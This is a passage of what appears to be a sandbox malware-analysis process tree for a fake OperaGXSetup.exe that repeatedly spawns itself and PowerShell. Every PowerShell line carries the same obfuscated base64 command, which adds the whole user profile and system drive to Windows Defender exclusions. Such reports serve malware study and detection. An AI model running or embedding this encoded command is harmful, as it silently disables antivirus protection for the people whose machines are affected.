        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        9⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1848
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        9⤵
        Checks computer location settings
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2768
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        10⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4696
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        10⤵
        Checks computer location settings
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        11⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3200
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        11⤵
        Checks computer location settings
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4076
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        12⤵
        System Location Discovery: System Language Discovery
        
        PID:3136
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        12⤵
        Checks computer location settings
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3648
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        13⤵
        
        PID:5580
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        13⤵
        
        PID:1388
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        14⤵
        
        PID:1092
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        14⤵
        
        PID:1100
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        15⤵
        
        PID:6072
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        15⤵
        
        PID:496
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        16⤵
        
        PID:5112
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        16⤵
        
        PID:1868
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        17⤵
        
        PID:1448
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        17⤵
        
        PID:3648
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        18⤵
        
        PID:4788
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        18⤵
        
        PID:2476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        19⤵
        
        PID:1100
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        19⤵
        
        PID:1820
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        20⤵
        
        PID:4436
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        20⤵
        
        PID:2772
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        21⤵
        
        PID:4528
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        21⤵
        
        PID:2892
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        22⤵
        
        PID:5884
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        22⤵
        
        PID:5484
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        23⤵
        
        PID:496
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        24⤵
        
        PID:5032
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        23⤵
        
        PID:760
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        24⤵
        
        PID:5404
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        24⤵
        
        PID:1492
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        25⤵
        
        PID:2720
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        25⤵
        
        PID:1432
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        26⤵
        
        PID:2116
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        26⤵
        
        PID:2716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        27⤵
        
        PID:5348
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        27⤵
        
        PID:4468
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        28⤵
        
        PID:4660
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        28⤵
        
        PID:3696
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        29⤵
        
        PID:6324
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        29⤵
        
        PID:6332
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        30⤵
        
        PID:6536
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        30⤵
        
        PID:6552
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        31⤵
        
        PID:6768
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        31⤵
        
        PID:6796
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        32⤵
        
        PID:6988
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        32⤵
        
        PID:7056
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        33⤵
        
        PID:684
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        33⤵
        
        PID:6280
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        34⤵
        
        PID:6628
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        34⤵
        
        PID:6392
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        35⤵
        
        PID:6952
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        35⤵
        
        PID:7104
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        36⤵
        
        PID:6648
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        36⤵
        
        PID:1056
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        37⤵
        
        PID:6168
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        37⤵
        
        PID:6256
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        38⤵
        
        PID:3488
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        38⤵
        
        PID:5652
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        39⤵
        
        PID:6928
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        39⤵
        
        PID:6964
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        40⤵
        
        PID:6352
        
